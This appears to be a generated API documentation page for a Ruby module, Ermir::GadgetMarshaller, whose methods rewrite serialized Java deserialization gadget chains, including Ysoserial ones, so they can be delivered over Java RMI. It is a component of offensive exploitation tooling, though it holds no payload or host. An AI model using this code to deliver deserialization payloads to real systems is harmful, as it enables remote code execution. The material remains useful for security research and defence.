Module: Ermir::GadgetMarshaller

Defined in:
lib/ermir/gadget_marshaller.rb

Instance Method Summary collapse

Instance Method Details

#class_desc?(idx) ⇒ Boolean

Returns:

  • (Boolean)


74
75
76
77
78
79
80
81
82
83
84
85
86
# File 'lib/ermir/gadget_marshaller.rb', line 74

def class_desc?(idx)
  pos = 0
  chunk = @gadget_chunked[idx].pack("C*")
  return false if chunk.size < 5
  pos += 1
  class_name_size = chunk[pos...pos+2].unpack("S>")[0]
  pos += 2
  return false if pos+class_name_size > chunk.size || class_name_size>100
  class_name = chunk[pos...pos+class_name_size]
  pos += class_name_size
  return false if pos+1+8+2 > chunk.size
  valid_class_name?(class_name)
end

#patch_chunk(i) ⇒ Object



110
111
112
# File 'lib/ermir/gadget_marshaller.rb', line 110

def patch_chunk(i)
  @gadget_chunked[i] << TransportConstants::TC_NULL
end

#patch_gadget!Object

this is currently working for most of Ysoserial gadgets but it is not 100% reliable better use gadgetmarshal / GadgetMarshaller.java packaged with Ermir to rewrite the gadgets in case of custom gadgets use the internal MarshalOutputStream instead of ObjectOutputStream.



9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# File 'lib/ermir/gadget_marshaller.rb', line 9

def patch_gadget!
  @gadget_chunked = []
  @gadget_bytes = @gadget.bytes
  open = false

  @gadget_bytes.each_with_index do |byte, idx|
    if (byte == TransportConstants::TC_CLASSDESC || byte==TransportConstants::TC_PROXYCLASSDESC) && !open
      open = true
      @gadget_chunked << []
    end
    if byte == TransportConstants::TC_ENDBLOCKDATA && open
      if (@gadget_bytes[idx...idx+2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL]) || @gadget_bytes[idx+1].between?(0x70, 0x7D)
        open = false
      end
    end
    if @gadget_chunked[-1].is_a?(Array) && open
      @gadget_chunked[-1] << byte
    else
      @gadget_chunked << byte
    end
  end

  if @gadget_chunked[-2..-1] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL]
    @gadget_chunked.insert(-3, TransportConstants::TC_NULL) if @gadget_chunked[-3] != TransportConstants::TC_NULL
  end

  get_previous_element = -> (i) {@gadget_chunked[i-1].is_a?(Array) ? @gadget_chunked[i-1][-1] : @gadget_chunked[i-1]}

  @gadget_chunked.map!.with_index do |element, i|
    if element.is_a?(Array)
      if element[0] == TransportConstants::TC_CLASSDESC
        if class_desc?(i)
          patch_chunk(i)
        else
          element
        end
      elsif element[0] == TransportConstants::TC_PROXYCLASSDESC
        if proxy_desc?(i)
          patch_chunk(i)
        else
          element
        end
      else
        element
      end
    else
      if element == TransportConstants::TC_ENDBLOCKDATA && get_previous_element.(i) != TransportConstants::TC_NULL
        if @gadget_chunked[i..].flatten[0..3] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL, TransportConstants::TC_OBJECT, TransportConstants::TC_CLASSDESC] \
          || get_previous_element.(i) == 0x3B && @gadget_chunked[i..].flatten[0..1] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL] \
          || get_previous_element.(i) == 0x0 && @gadget_chunked[i..].flatten[0..2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL, 0x0] \
          || @gadget_chunked[i..].flatten[0..2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_CLASSDESC, 0x0]
          [TransportConstants::TC_NULL, element]
        else
          element
        end
      else
        element
      end
    end
  end.flatten!

  @outfile.write(@gadget_chunked.pack("C*")) if (defined?(@outfile) && @outfile && @outfile.is_a?(File))
  @gadget = @gadget_chunked.pack("C*")
end

#proxy_desc?(idx) ⇒ Boolean

Returns:

  • (Boolean)


88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# File 'lib/ermir/gadget_marshaller.rb', line 88

def proxy_desc?(idx)
  pos = 0
  chunk = @gadget_chunked[idx].pack("C*")
  return false if chunk.size < 5
  pos += 1
  interface_count = chunk[pos...pos+4].unpack("L>")[0]
  return false if interface_count > 10
  pos += 4
  interface_count.times do
    interface_name_size = chunk[pos...pos+2].unpack("S>")[0]
    return false if pos+interface_name_size>chunk.size
    pos += 2
    interface_name = chunk[pos...pos+interface_name_size]
    valid_class_name?(interface_name)
  end
end

#valid_class_name?(class_name) ⇒ Boolean

Returns:

  • (Boolean)


105
106
107
108
# File 'lib/ermir/gadget_marshaller.rb', line 105

def valid_class_name?(class_name)
  (class_name.count(".") > 1 && class_name.rpartition(".")[-1][0].match?(/[[:upper:]]/)) \
  || ([0x5B, 0x4C].include?(class_name[0].ord) && class_name[-1].ord == 0x3B)
end